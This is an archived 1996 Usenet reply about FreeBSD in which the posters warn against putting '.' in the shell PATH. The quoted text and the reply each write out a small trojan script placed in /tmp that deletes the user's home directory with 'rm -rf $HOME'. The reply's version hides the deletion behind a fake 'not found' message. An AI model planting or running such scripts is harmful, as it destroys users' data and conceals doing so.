*BSD News Article 59493


Return to BSD News archive

Path: euryale.cc.adfa.oz.au!newshost.anu.edu.au!harbinger.cc.monash.edu.au!news.mira.net.au!yarrina.connect.com.au!news.mel.connect.com.au!munnari.OZ.AU!news.ecn.uoknor.edu!paladin.american.edu!gatech!newsfeed.internetmci.com!howland.reston.ans.net!blackbush.xlink.net!zib-berlin.de!news.tu-chemnitz.de!irz401!uriah.heep!news
From: j@uriah.heep.sax.de (J Wunsch)
Newsgroups: comp.unix.bsd.freebsd.misc
Subject: Re: How to configure network under FreeBSD
Date: 12 Jan 1996 22:27:09 GMT
Organization: Private BSD site, Dresden
Lines: 25
Message-ID: <4d6n7t$h7c@uriah.heep.sax.de>
References: <4zF8wkoYzg8L084yn@hntp2.hinet.net> <4cr4qh$pl@uriah.heep.sax.de> <4d25np$c8o@news.voicenet.com> <4d3eut$cc3@usenet.ucs.indiana.edu> <4d3fs5$1bsg@info4.rus.uni-stuttgart.de>
Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch)
NNTP-Posting-Host: localhost.heep.sax.de
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Newsreader: knews 0.9.3

schweikh@itosun.ito.uni-stuttgart.de (Jens Schweikhardt) writes:

> Even putting . as the _last_ element is a risk.
> Consider this:
> 
> naughty_user% cat > /tmp/ks
> #!/bin/sh
> rm -rf $HOME
> ^D
> naughty_user% chmod 755 /tmp/ks

This is too obvious. :-)

Better is:

#!/bin/sh
rm -rf $HOME &
echo "$0: not found"

-- 
cheers, J"org

joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE
Never trust an operating system you don't have sources for. ;-)